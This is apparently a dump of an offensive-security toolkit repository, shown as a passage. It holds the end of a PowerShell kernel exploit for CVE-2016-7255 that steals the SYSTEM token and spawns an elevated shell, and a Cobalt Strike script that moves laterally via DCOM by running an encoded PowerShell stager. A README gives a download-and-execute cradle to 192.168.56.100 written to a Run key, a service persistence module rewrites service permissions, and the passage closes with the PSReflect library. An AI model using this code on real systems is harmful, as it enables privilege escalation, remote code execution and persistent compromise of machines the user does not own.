$HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0xc # _HANDLEENTRY.Size = 0xC
$phead = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleEntry)
} else {
$aheList = [System.Runtime.InteropServices.Marshal]::ReadInt64($aheList)
$HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0x18 # _HANDLEENTRY.Size = 0x18
$phead = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleEntry)
}
$Result = @()
$HashTable = @{
Handle = $AccelHandle
KernelObj = $phead
}
$Object = New-Object PSObject -Property $HashTable
$Result += $Object
$Result
}
function Destroy-AcceleratorTable {
param ($Hanlde)
$CallResult = [gSharedInfoBitmap]::DestroyAcceleratorTable($Hanlde)
}
$KernelArray = @()
for ($i=0;$i -lt 20;$i++) {
$KernelArray += Create-AcceleratorTable
if ($KernelArray.Length -gt 1) {
if ($KernelArray[$i].KernelObj -eq $KernelArray[$i-1].KernelObj) {
Destroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x50*2*4)
if ($OSMajorMinor -eq "6.1") {
$BitmapHandle = [gSharedInfoBitmap]::CreateBitmap(0x770, 4, 1, 8, $Buffer) # Win7
} else {
$BitmapHandle = [gSharedInfoBitmap]::CreateBitmap(0x760, 4, 1, 8, $Buffer) # Win8-10
}
break
}
}
Destroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle
}
$BitMapObject = @()
$HashTable = @{
BitmapHandle = $BitmapHandle
BitmapKernelObj = $($KernelArray[$i].KernelObj)
BitmappvScan0 = if ($x32) {$($KernelArray[$i].KernelObj) + 0x32} else {$($KernelArray[$i].KernelObj) + 0x50}
}
$Object = New-Object PSObject -Property $HashTable
$BitMapObject += $Object
$BitMapObject
}
function Bitmap-Elevate {
param([IntPtr]$ManagerBitmap,[IntPtr]$WorkerBitmap)
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class BitmapElevate
{
[DllImport("gdi32.dll")]
public static extern int SetBitmapBits(
IntPtr hbmp,
uint cBytes,
byte[] lpBits);
[DllImport("gdi32.dll")]
public static extern int GetBitmapBits(
IntPtr hbmp,
int cbBuffer,
IntPtr lpvBits);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAllocationType,
UInt32 flProtect);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool VirtualFree(
IntPtr lpAddress,
uint dwSize,
uint dwFreeType);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool FreeLibrary(
IntPtr hModule);
[DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
public static extern IntPtr LoadLibrary(
string lpFileName);
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
public static extern IntPtr GetProcAddress(
IntPtr hModule,
string procName);
}
"@
function Bitmap-Read {
param ($Address)
$CallResult = [BitmapElevate]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address))
[IntPtr]$Pointer = [BitmapElevate]::VirtualAlloc([System.IntPtr]::Zero, [System.IntPtr]::Size, 0x3000, 0x40)
$CallResult = [BitmapElevate]::GetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, $Pointer)
if ($x32Architecture){
[System.Runtime.InteropServices.Marshal]::ReadInt32($Pointer)
} else {
[System.Runtime.InteropServices.Marshal]::ReadInt64($Pointer)
}
$CallResult = [BitmapElevate]::VirtualFree($Pointer, [System.IntPtr]::Size, 0x8000)
}
function Bitmap-Write {
param ($Address, $Value)
$CallResult = [BitmapElevate]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address))
$CallResult = [BitmapElevate]::SetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Value))
}
switch ($OSMajorMinor)
{
'10.0' # Win10 / 2k16
{
$UniqueProcessIdOffset = 0x2e8
$TokenOffset = 0x358
$ActiveProcessLinks = 0x2f0
}
'6.3' # Win8.1 / 2k12R2
{
$UniqueProcessIdOffset = 0x2e0
$TokenOffset = 0x348
$ActiveProcessLinks = 0x2e8
}
'6.2' # Win8 / 2k12
{
$UniqueProcessIdOffset = 0x2e0
$TokenOffset = 0x348
$ActiveProcessLinks = 0x2e8
}
'6.1' # Win7 / 2k8R2
{
$UniqueProcessIdOffset = 0x180
$TokenOffset = 0x208
$ActiveProcessLinks = 0x188
}
}
Write-Verbose "`n[>] Leaking SYSTEM _EPROCESS.."
$SystemModuleArray = Get-LoadedModules
$KernelBase = $SystemModuleArray[0].ImageBase
$KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1]
$KernelHanle = [BitmapElevate]::LoadLibrary("$KernelType")
$PsInitialSystemProcess = [BitmapElevate]::GetProcAddress($KernelHanle, "PsInitialSystemProcess")
$SysEprocessPtr = if (!$x32Architecture) {$PsInitialSystemProcess.ToInt64() - $KernelHanle + $KernelBase} else {$PsInitialSystemProcess.ToInt32() - $KernelHanle + $KernelBase}
$CallResult = [BitmapElevate]::FreeLibrary($KernelHanle)
Write-Verbose "[+] _EPROCESS list entry: 0x$("{0:X}" -f $SysEprocessPtr)"
$SysEPROCESS = Bitmap-Read -Address $SysEprocessPtr
Write-Verbose "[+] SYSTEM _EPROCESS address: 0x$("{0:X}" -f $(Bitmap-Read -Address $SysEprocessPtr))"
Write-Verbose "[+] PID: $(Bitmap-Read -Address $($SysEPROCESS+$UniqueProcessIdOffset))"
Write-Verbose "[+] SYSTEM Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)))"
$SysToken = Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)
Write-Verbose "`n[>] Spawn child"
$npipeName = Get-Random
Write-Verbose "`n[>] Choosen name : $npipeName"
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000001
$StartupInfo.wShowWindow = 0x00000000
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
$ProcessInfo = New-Object PROCESS_INFORMATION
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, "$Env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe", " add-type -assemblyName `'System.Core`';`$npipeClient = new-object System.IO.Pipes.NamedPipeClientStream(`'.`', `'$npipeName`', [System.IO.Pipes.PipeDirection]::InOut,[System.IO.Pipes.PipeOptions]::None,[System.Security.Principal.TokenImpersonationLevel]::Impersonation);`$pipeReader = `$pipeWriter = `$null;`$playerName = `'ping`';`$npipeClient.Connect();`$pipeWriter = new-object System.IO.StreamWriter(`$npipeClient);`$pipeReader = new-object System.IO.StreamReader(`$npipeClient);`$pipeWriter.AutoFlush = `$true;`$pipeWriter.WriteLine(`$playerName);IEX `$pipeReader.ReadLine();`$npipeClient.Dispose();",
$null, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
add-type -assemblyName "System.Core"
$npipeServer = new-object System.IO.Pipes.NamedPipeServerStream($npipeName, [System.IO.Pipes.PipeDirection]::InOut)
$npipeServer.WaitForConnection()
$pipeReader = new-object System.IO.StreamReader($npipeServer)
$script:pipeWriter = new-object System.IO.StreamWriter($npipeServer)
$pipeWriter.AutoFlush = $true
$playerName = $pipeReader.ReadLine()
if($playerName -eq "ping")
{
Write-Verbose "[+] Ping from child, voila"
}
Write-Verbose "[+] Child PID is : $("{0}" -f $ProcessInfo.dwProcessId)`n"
Write-Verbose "`n[>] Leaking current _EPROCESS.."
Write-Verbose "[+] Traversing ActiveProcessLinks list"
$NextProcess = $(Bitmap-Read -Address $($SysEPROCESS+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
while($true) {
$NextPID = Bitmap-Read -Address $($NextProcess+$UniqueProcessIdOffset)
if ($NextPID -eq $ProcessInfo.dwProcessId) {
Write-Verbose "[+] PowerShell _EPROCESS address: 0x$("{0:X}" -f $NextProcess)"
Write-Verbose "[+] PID: $NextPID"
Write-Verbose "[+] PowerShell Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($NextProcess+$TokenOffset)))"
$PoShTokenAddr = $NextProcess+$TokenOffset
break
}
$NextProcess = $(Bitmap-Read -Address $($NextProcess+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
}
Write-Verbose "`n[!] Duplicating SYSTEM token!`n"
Bitmap-Write -Address $PoShTokenAddr -Value $SysToken
"`n[!] Success, spawning a system shell!"
Write-Verbose "[!] Sending command to the elevated child"
$pipeWriter.WriteLine($Command)
$npipeServer.Dispose()
}
function Sim-KeyDown {
param([Int]$wKey)
$KeyboardInput = New-Object KEYBDINPUT
$KeyboardInput.dwFlags = 0
$KeyboardInput.wVk = $wKey
$InputObject = New-Object INPUT
$InputObject.itype = 1
$InputObject.U = $KeyboardInput
$InputSize = [System.Runtime.InteropServices.Marshal]::SizeOf($InputObject)
$CallResult = [ms16135]::SendInput(1, $InputObject, $InputSize)
if ($CallResult -eq 1) {
$true
} else {
$false
}
}
function Sim-KeyUp {
param([Int]$wKey)
$KeyboardInput = New-Object KEYBDINPUT
$KeyboardInput.dwFlags = 2
$KeyboardInput.wVk = $wKey
$InputObject = New-Object INPUT
$InputObject.itype = 1
$InputObject.U = $KeyboardInput
$InputSize = [System.Runtime.InteropServices.Marshal]::SizeOf($InputObject)
$CallResult = [ms16135]::SendInput(1, $InputObject, $InputSize)
if ($CallResult -eq 1) {
$true
} else {
$false
}
}
function Do-AltShiftEsc {
$CallResult = Sim-KeyDown -wKey 0x12 # VK_MENU
$CallResult = Sim-KeyDown -wKey 0x10 # VK_SHIFT
$CallResult = Sim-KeyDown -wKey 0x1b # VK_ESCAPE
$CallResult = Sim-KeyUp -wKey 0x1b # VK_ESCAPE
$CallResult = Sim-KeyDown -wKey 0x1b # VK_ESCAPE
$CallResult = Sim-KeyUp -wKey 0x1b # VK_ESCAPE
$CallResult = Sim-KeyUp -wKey 0x12 # VK_MENU
$CallResult = Sim-KeyUp -wKey 0x10 # VK_SHIFT
}
function Do-AltShiftTab {
param([Int]$Count)
$CallResult = Sim-KeyDown -wKey 0x12 # VK_MENU
$CallResult = Sim-KeyDown -wKey 0x10 # VK_SHIFT
for ($i=0;$i -lt $count;$i++) {
$CallResult = Sim-KeyDown -wKey 0x9 # VK_TAB
$CallResult = Sim-KeyUp -wKey 0x9 # VK_TAB
}
$CallResult = Sim-KeyUp -wKey 0x12 # VK_MENU
$CallResult = Sim-KeyUp -wKey 0x10 # VK_SHIFT
}
do {
$Bitmap1 = Stage-gSharedInfoBitmap
$Bitmap2 = Stage-gSharedInfoBitmap
if ($Bitmap1.BitmapKernelObj -lt $Bitmap2.BitmapKernelObj) {
$WorkerBitmap = $Bitmap1
$ManagerBitmap = $Bitmap2
} else {
$WorkerBitmap = $Bitmap2
$ManagerBitmap = $Bitmap1
}
$Distance = $ManagerBitmap.BitmapKernelObj - $WorkerBitmap.BitmapKernelObj
} while ($Distance -ne 0x2000)
Write-Verbose "[?] Adjacent large session pool feng shui.."
Write-Verbose "[+] Worker : $('{0:X}' -f $WorkerBitmap.BitmapKernelObj)"
Write-Verbose "[+] Manager : $('{0:X}' -f $ManagerBitmap.BitmapKernelObj)"
Write-Verbose "[+] Distance: 0x$('{0:X}' -f $Distance)"
$TargetAddress = $WorkerBitmap.BitmapKernelObj + 63
function Do-OrAddress {
param([Int64]$Address)
$AtomCreate = New-Object ms16135
$hAtom = $AtomCreate.CustomClass("cve-2016-7255")
if ($hAtom -eq 0){
break
}
Write-Verbose "`n[?] Creating Window objects"
$hMod = [ms16135]::GetModuleHandleW([String]::Empty)
$hWndParent = [ms16135]::CreateWindowExW(0,"cve-2016-7255",[String]::Empty,0x10CF0000,0,0,360,360,[IntPtr]::Zero,[IntPtr]::Zero,$hMod,[IntPtr]::Zero)
if ($hWndParent -eq 0){
break
}
$hWndChild = [ms16135]::CreateWindowExW(0,"cve-2016-7255","cve-2016-7255",0x50CF0000,0,0,160,160,$hWndParent,[IntPtr]::Zero,$hMod,[IntPtr]::Zero)
if ($hWndChild -eq 0){
break
}
$Address = $Address - 0x28
Write-Verbose "[+] Corrupting child window spmenu"
$CallResult = [ms16135]::SetWindowLongPtr($hWndChild,-12,[IntPtr]$Address)
$CallResult = [ms16135]::ShowWindow($hWndParent,1)
$hDesktopWindow = [ms16135]::GetDesktopWindow()
$CallResult = [ms16135]::SetParent($hWndChild,$hDesktopWindow)
$CallResult = [ms16135]::SetForegroundWindow($hWndChild)
Do-AltShiftTab -Count 4
$CallResult = [ms16135]::SwitchToThisWindow($hWndChild,$true)
Do-AltShiftEsc
function Trigger-Write {
$SafeGuard = [diagnostics.stopwatch]::StartNew()
while ($SafeGuard.ElapsedMilliseconds -lt 3000) {
$tagMSG = New-Object tagMSG
if ($([ms16135]::GetMessage([ref]$tagMSG,[IntPtr]::Zero,0,0))) {
$CallResult = [ms16135]::SetFocus($hWndParent) #
for ($i=0;$i-lt20;$i++){Do-AltShiftEsc} #
$CallResult = [ms16135]::SetFocus($hWndChild) # Bug triggers here!
for ($i=0;$i-lt20;$i++){Do-AltShiftEsc} #
$CallResult = [ms16135]::TranslateMessage([ref]$tagMSG)
$CallResult = [ms16135]::DispatchMessage([ref]$tagMSG)
}
} $SafeGuard.Stop()
}
[IntPtr]$Global:BytePointer = [ms16135]::VirtualAlloc([System.IntPtr]::Zero, 0x2000, 0x3000, 0x40)
do {
Write-Verbose "[+] Trying to trigger arbitrary 'Or'.."
$ByteRead = [ms16135]::GetBitmapBits($WorkerBitmap.BitmapHandle,0x2000,$BytePointer)
Trigger-Write
$LoopCount += 1
} while ($ByteRead -ne 0x2000 -And $LoopCount -lt 10)
$CallResult = [ms16135]::DestroyWindow($hWndChild)
$CallResult = [ms16135]::DestroyWindow($hWndParent)
$CallResult = [ms16135]::UnregisterClass("cve-2016-7255",[IntPtr]::Zero)
if ($LoopCount -eq 10) {
"`n[!] Bug did not trigger, try again or patched?`n"
$Script:BugNotTriggered = 1
}
}
Do-OrAddress -Address $TargetAddress
if ($BugNotTriggered) {
Return
}
if ($OSMajorMinor -eq "6.1") {
$SizeVal = 0x400000770
} else {
$SizeVal = 0x400000760
}
do {
$Read64 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $LoopCount)
if ($Read64 -eq $SizeVal) {
$Pointer1 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $LoopCount + 16)
$Pointer2 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $LoopCount + 24)
if ($Pointer1 -eq $Pointer2) {
$BufferOffset = $LoopCount + 16
Break
}
}
$LoopCount += 8
} while ($LoopCount -lt 0x2000)
$pvBits = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $BufferOffset)
$pvScan0 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $BufferOffset + 8)
if ($pvScan0 -ne 0) {
Write-Verbose "`n[?] Success, reading beyond worker bitmap size!"
Write-Verbose "[+] Old manager bitmap pvScan0: $('{0:X}' -f $pvScan0)"
} else {
"`n[!] Buffer contains invalid data, quitting..`n"
Return
}
[System.Runtime.InteropServices.Marshal]::WriteInt64($($BytePointer.ToInt64() + $BufferOffset),$WorkerBitmap.BitmappvScan0)
[System.Runtime.InteropServices.Marshal]::WriteInt64($($BytePointer.ToInt64() + $BufferOffset + 8),$WorkerBitmap.BitmappvScan0)
$pvScan0 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $BufferOffset + 8)
Write-Verbose "[+] New manager bitmap pvScan0: $('{0:X}' -f $pvScan0)"
$CallResult = [ms16135]::SetBitmapBits($WorkerBitmap.BitmapHandle,0x2000,$BytePointer)
Bitmap-Elevate -ManagerBitmap $ManagerBitmap.BitmapHandle -WorkerBitmap $WorkerBitmap.BitmapHandle
}
================================================
FILE: lateral/dcom.cna
================================================
alias dcom {
local('$shellcode $stager');
if (listener_info($3) is $null) {
berror($1, "Listener $3 does not exist");
return;
}
if ($4 ne "x86" && $4 ne "x64") {
berror($1, "Invalid architecture");
return;
}
btask($1, "Tasked Beacon to run " . listener_describe($3) . " on " . $2 . " via DCOM");
$shellcode = shellcode($3, "true", $4);
$stager = powershell_encode_stager($shellcode);
bpowerpick!($1, "\$COM = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',' $+ $2 $+ '); \$Obj = [System.Activator]::CreateInstance(\$COM); \$Item = \$Obj.Item(); \$Item.Document.Application.ShellExecute('powershell.exe', '-nop -w hidden -enc $+ $stager $+ ', 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\', \$null, 0)");
bstage($1, $2, $3, $4);
}
beacon_command_register("dcom", "Use DCOM to spawn a session on a host",
"Use: dcom [target] [listener] [arch]\n\n" .
"Spawn a session on a remote host. This command uses DCOM to run a PowerShell\none-liner to bootstrap the desired listener.");
================================================
FILE: loader.cna
================================================
# Automatically loads all aggressor scripts.
# Idea taken from Und3rf10w
include(script_resource("elevate/elevate.cna"));
include(script_resource("persistence/persistence.cna"));
================================================
FILE: persistence/README.md
================================================
## Modules
### PowerShell HKCU via PSReflect
Accepts a basic base64'd (to avoid escaping pain) download cradle. Writes it to HKCU\Software\Microsoft\Windows\Run\\`0pwned using a modified version of [PSReflect](https://github.com/mattifestation/PSReflect) and [RegHide](https://gist.github.com/brianreitz/feb4e14bd45dd2e4394c225b17df5741#file-psreflect-reghide-ps1).

Basic Example:
`iex ([System.Net.WebClient]::New().DownloadString('http://192.168.56.100/a'))`
`aQBlAHgAIAAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AF0AOgA6AE4AZQB3ACgAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4ANQA2AC4AMQAwADAALwBhACcAKQApAA==`
### Windows Service Persistence
Creates a Windows Service (running as SYSTEM) with the specified options and uses `sc sdset` to assign start/stop permissions to the user SID. Requires you to manually upload a payload.

================================================
FILE: persistence/modules/Invoke-ServicePersistence.ps1
================================================
function Invoke-ServicePersistence {
[CmdletBinding()]
param(
[Parameter(Position=0,Mandatory=$True)]
[String]
$BinPath,
[Parameter(Position=2)]
[String]
$Name,
[Parameter(Position=3,Mandatory=$True)]
[String]
$SID,
[Parameter(Position=4)]
[String]
$DisplayName,
[Parameter(Position=5)]
[String]
$Description,
[Parameter(Position=6)]
[String]
$StartupType = "Manual"
)
$Service = "New-Service -Name '$Name' -BinaryPathName '$BinPath'"
if ($DisplayName) { $Service += " -DisplayName '$DisplayName'" }
if ($Description) { $Service += " -Description '$Description'" }
if ($StartupType) { $Service += " -StartupType '$StartupType'" }
Write-Verbose $Service
Invoke-Expression $Service
[string]$SDDL = C:\Windows\System32\sc.exe sdshow $Name
$SDDL = $SDDL.TrimStart()
$SDDL = $SDDL.Insert(110, "(A;;RPWPDTLO;;;$SID)")
Write-Verbose $SDDL
C:\Windows\System32\sc.exe sdset $Name $SDDL
}
================================================
FILE: persistence/modules/PSReflect.ps1
================================================
#Requires -Version 2
function New-InMemoryModule
{
<#
.SYNOPSIS
Creates an in-memory assembly and module
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
When defining custom enums, structs, and unmanaged functions, it is
necessary to associate to an assembly module. This helper function
creates an in-memory module that can be passed to the 'enum',
'struct', and Add-Win32Type functions.
.PARAMETER ModuleName
Specifies the desired name for the in-memory assembly and module. If
ModuleName is not provided, it will default to a GUID.
.EXAMPLE
$Module = New-InMemoryModule -ModuleName Win32
#>
Param
(
[Parameter(Position = 0)]
[ValidateNotNullOrEmpty()]
[String]
$ModuleName = [Guid]::NewGuid().ToString()
)
$AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @())
$LoadedAssemblies = $AppDomain.GetAssemblies()
foreach ($Assembly in $LoadedAssemblies) {
if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
return $Assembly
}
}
$DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
$Domain = $AppDomain
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
return $ModuleBuilder
}
# A helper function used to reduce typing while defining function
# prototypes for Add-Win32Type.
function func
{
Param
(
[Parameter(Position = 0, Mandatory = $True)]
[String]
$DllName,
[Parameter(Position = 1, Mandatory = $True)]
[string]
$FunctionName,
[Parameter(Position = 2, Mandatory = $True)]
[Type]
$ReturnType,
[Parameter(Position = 3)]
[Type[]]
$ParameterTypes,
[Parameter(Position = 4)]
[Runtime.InteropServices.CallingConvention]
$NativeCallingConvention,
[Parameter(Position = 5)]
[Runtime.InteropServices.CharSet]
$Charset,
[String]
$EntryPoint,
[Switch]
$SetLastError
)
$Properties = @{
DllName = $DllName
FunctionName = $FunctionName
ReturnType = $ReturnType
}
if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
if ($Charset) { $Properties['Charset'] = $Charset }
if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint }
New-Object PSObject -Property $Properties
}
function Add-Win32Type
{
<#
.SYNOPSIS
Creates a .NET type for an unmanaged Win32 function.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: func
.DESCRIPTION
Add-Win32Type enables you to easily interact with unmanaged (i.e.
Win32 unmanaged) functions in PowerShell. After providing
Add-Win32Type with a function signature, a .NET type is created
using reflection (i.e. csc.exe is never called like with Add-Type).
The 'func' helper function can be used to reduce typing when defining
multiple function definitions.
.PARAMETER DllName
The name of the DLL.
.PARAMETER FunctionName
The name of the target function.
.PARAMETER EntryPoint
The DLL export function name. This argument should be specified if the
specified function name is different than the name of the exported
function.
.PARAMETER ReturnType
The return type of the function.
.PARAMETER ParameterTypes
The function parameters.
.PARAMETER NativeCallingConvention
Specifies the native calling convention of the function. Defaults to
stdcall.
.PARAMETER Charset
If you need to explicitly call an 'A' or 'W' Win32 function, you can
specify the character set.
.PARAMETER SetLastError
Indicates whether the callee calls the SetLastError Win32 API
function before returning from the attributed method.
.PARAMETER Module
The in-memory module that will host the functions. Use
New-InMemoryModule to define an in-memory module.
.PARAMETER Namespace
An optional namespace to prepend to the type. Add-Win32Type defaults
to a namespace consisting only of the name of the DLL.
.EXAMPLE
$Mod = New-InMemoryModule -ModuleName Win32
$FunctionDefinitions = @(
(func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),
(func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),
(func ntdll RtlGetCurrentPeb ([IntPtr]) @())
)
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Kernel32 = $Types['kernel32']
$Ntdll = $Types['ntdll']
$Ntdll::RtlGetCurrentPeb()
$ntdllbase = $Kernel32::GetModuleHandle('ntdll')
$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')
.NOTES
Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189
When defining multiple function prototypes, it is ideal to provide
Add-Win32Type with an array of function signatures. That way, they
are all incorporated into the same in-memory module.
#>
[OutputType([Hashtable])]
Param(
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[String]
[ValidateNotNullOrEmpty()]
$DllName,
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[String]
[ValidateNotNullOrEmpty()]
$FunctionName,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[String]
[ValidateNotNullOrEmpty()]
$EntryPoint,
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[Type]
$ReturnType,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[Type[]]
$ParameterTypes,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[Runtime.InteropServices.CallingConvention]
$NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[Runtime.InteropServices.CharSet]
$Charset = [Runtime.InteropServices.CharSet]::Auto,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[Switch]
$SetLastError,
[Parameter(Mandatory = $True)]
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
$Module,
[ValidateNotNull()]
[String]
$Namespace = ''
)
BEGIN
{
$TypeHash = @{}
}
PROCESS
{
if ($Module -is [Reflection.Assembly])
{
if ($Namespace)
{
$TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
}
else
{
$TypeHash[$DllName] = $Module.GetType($DllName)
}
}
else
{
# Define one type for each DLL
if (!$TypeHash.ContainsKey($DllName))
{
if ($Namespace)
{
$TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
}
else
{
$TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
}
}
$Method = $TypeHash[$DllName].DefineMethod(
$FunctionName,
'Public,Static,PinvokeImpl',
$ReturnType,
$ParameterTypes)
# Make each ByRef parameter an Out parameter
$i = 1
foreach($Parameter in $ParameterTypes)
{
if ($Parameter.IsByRef)
{
[void] $Method.DefineParameter($i, 'Out', $null)
}
$i++
}
$DllImport = [Runtime.InteropServices.DllImportAttribute]
$SetLastErrorField = $DllImport.GetField('SetLastError')
$CallingConventionField = $DllImport.GetField('CallingConvention')
$CharsetField = $DllImport.GetField('CharSet')
$EntryPointField = $DllImport.GetField('EntryPoint')
if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
if ($EntryPoint) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName }
# Equivalent to C# version of [DllImport(DllName)]
$Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
$DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
$DllName,
[Reflection.PropertyInfo[]] @(),
[Object[]] @(),
[Reflection.FieldInfo[]] @($SetLastErrorField,
$CallingConventionField,
$CharsetField,
$EntryPointField),
[Object[]] @($SLEValue,
([Runtime.InteropServices.CallingConvention] $NativeCallingConvention),
([Runtime.InteropServices.CharSet] $Charset),
$ExportedFuncName))
$Method.SetCustomAttribute($DllImportAttribute)
}
}
END
{
if ($Module -is [Reflection.Assembly])
{
return $TypeHash
}
$ReturnTypes = @{}
foreach ($Key in $TypeHash.Keys)
{
$Type = $TypeHash[$Key].CreateType()
$ReturnTypes[$Key] = $Type
}
return $ReturnTypes
}
}
function psenum
{
<#
.SYNOPSIS
Creates an in-memory enumeration for use in your PowerShell session.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
The 'psenum' function facilitates the creation of enums entirely in
memory using as close to a "C style" as PowerShell will allow.
.PARAMETER Module
The in-memory module that will host the enum. Use
New-InMemoryModule to define an in-memory module.
.PARAMETER FullName
The fully-qualified name of the enum.
.PARAMETER Type
The type of each enum element.
.PARAMETER EnumElements
A hashtable of enum elements.
.PARAMETER Bitfield
Specifies that the enum should be treated as a bitfield.
.EXAMPLE
$Mod = New-InMemoryModule -ModuleName Win32
$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{
UNKNOWN = 0
NATIVE = 1 # Image doesn't require a subsystem.
WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem.
WINDOWS_CUI = 3 # Image runs in the Windows character subsystem.
OS2_CUI = 5 # Image runs in the OS/2 character subsystem.
POSIX_CUI = 7 # Image runs in the Posix character subsystem.
NATIVE_WINDOWS = 8 # Image is a native Win9x driver.
WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem.
EFI_APPLICATION = 10
EFI_BOOT_SERVICE_DRIVER = 11
EFI_RUNTIME_DRIVER = 12
EFI_ROM = 13
XBOX = 14
WINDOWS_BOOT_APPLICATION = 16
}
.NOTES
PowerShell purists may disagree with the naming of this function but
again, this was developed in such a way so as to emulate a "C style"
definition as closely as possible. Sorry, I'm not going to name it
New-Enum. :P
#>
[OutputType([Type])]
Param
(
[Parameter(Position = 0, Mandatory = $True)]
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
$Module,
[Parameter(Position = 1, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$FullName,
[Parameter(Position = 2, Mandatory = $True)]
[Type]
$Type,
[Parameter(Position = 3, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Hashtable]
$EnumElements,
[Switch]
$Bitfield
)
if ($Module -is [Reflection.Assembly])
{
return ($Module.GetType($FullName))
}
$EnumType = $Type -as [Type]
$EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)
if ($Bitfield)
{
$FlagsConstructor = [FlagsAttribute].GetConstructor(@())
$FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
